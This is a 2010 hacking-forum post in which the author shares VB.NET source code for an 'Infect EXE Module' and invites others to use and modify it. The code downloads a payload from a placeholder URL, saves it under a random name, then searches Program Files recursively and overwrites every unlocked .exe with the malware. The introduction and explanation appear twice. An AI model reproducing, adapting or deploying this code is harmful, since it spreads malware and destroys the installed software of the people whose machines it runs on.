Jun 19, 2010 06:44 AM
(This post was last modified: Jun 19, 2010 06:45 AM by pr3fix.)
Infect EXE Module
BY: Pr3fix
Hello everyone. This is just simple and very basic module that I wrote few minutes ago. I was bored so I wrote it, took me around 10 minutes. Anyways, you can easily mod this, it's just replacing the real EXE with your malware. If you use, give credits. Thanks a lot! 🙂
Source Code:
Usage:
How does this work?:
Basically, this application will download the malware from URL you typed in. After that, it will store it in Temp and search for files in Program Files folder and replace their .EXE with malware's. Also, before it replace.. it will check is file used by any other process or something. If it isn't replace else, just continue. Basically, that is how this works like. Hope you will like it!
Best Regards! 😉
- pr3fix
BY: Pr3fix
Hello everyone. This is just simple and very basic module that I wrote few minutes ago. I was bored so I wrote it, took me around 10 minutes. Anyways, you can easily mod this, it's just replacing the real EXE with your malware. If you use, give credits. Thanks a lot! 🙂
Source Code:
Code
Module moduleInfect
Public Sub InfectIt()
Dim DL_Link As String = "http://www.yourlink.com/file.exe"
Dim DL_Path As String = Environment.GetFolderPath(Environment.SpecialFolder.Templates) & "\" & rndName(35) + rndName(5) & ".exe"
Try : My.Computer.Network.DownloadFile(DL_Link, DL_Path)
Catch ex As Exception : End : End Try
Dim SearchPath As String = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\"
Dim MyPath As String = Application.ExecutablePath
For Each searchEngine As String In My.Computer.FileSystem.GetFiles(SearchPath, FileIO.SearchOption.SearchAllSubDirectories, "*.exe")
Try
If FileStatus(searchEngine) = False Then
System.IO.File.Replace(DL_Path, searchEngine, True)
Else
End If
Catch ex As Exception
End Try
Next
End Sub
Private Function FileStatus(ByVal pathEXE As String) As Boolean
If System.IO.File.Exists(pathEXE) Then
Try
Dim F As Short = FreeFile()
FileOpen(F, pathEXE, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.LockReadWrite)
FileClose(F)
Catch
Return True
End Try
End If
End Function
Private Function rndName(ByVal longLenght As Long) As String
Dim randomZ As Double
Dim stringR As String
Dim bData As Boolean
Randomize()
While Len(stringR) < longLenght
randomZ = Int(Rnd() * 75) + 48
bData = False
Select Case randomZ
Case 48 To 57
bData = True
Case 65 To 90
bData = True
Case 97 To 122
bData = True
Case Else
bData = False
End Select
If bData Then
stringR = stringR & Chr(randomZ)
End If
End While
rndName = stringR
End Function
End ModuleUsage:
Code
Call InfectItHow does this work?:
Basically, this application will download the malware from URL you typed in. After that, it will store it in Temp and search for files in Program Files folder and replace their .EXE with malware's. Also, before it replace.. it will check is file used by any other process or something. If it isn't replace else, just continue. Basically, that is how this works like. Hope you will like it!
Best Regards! 😉
- pr3fix
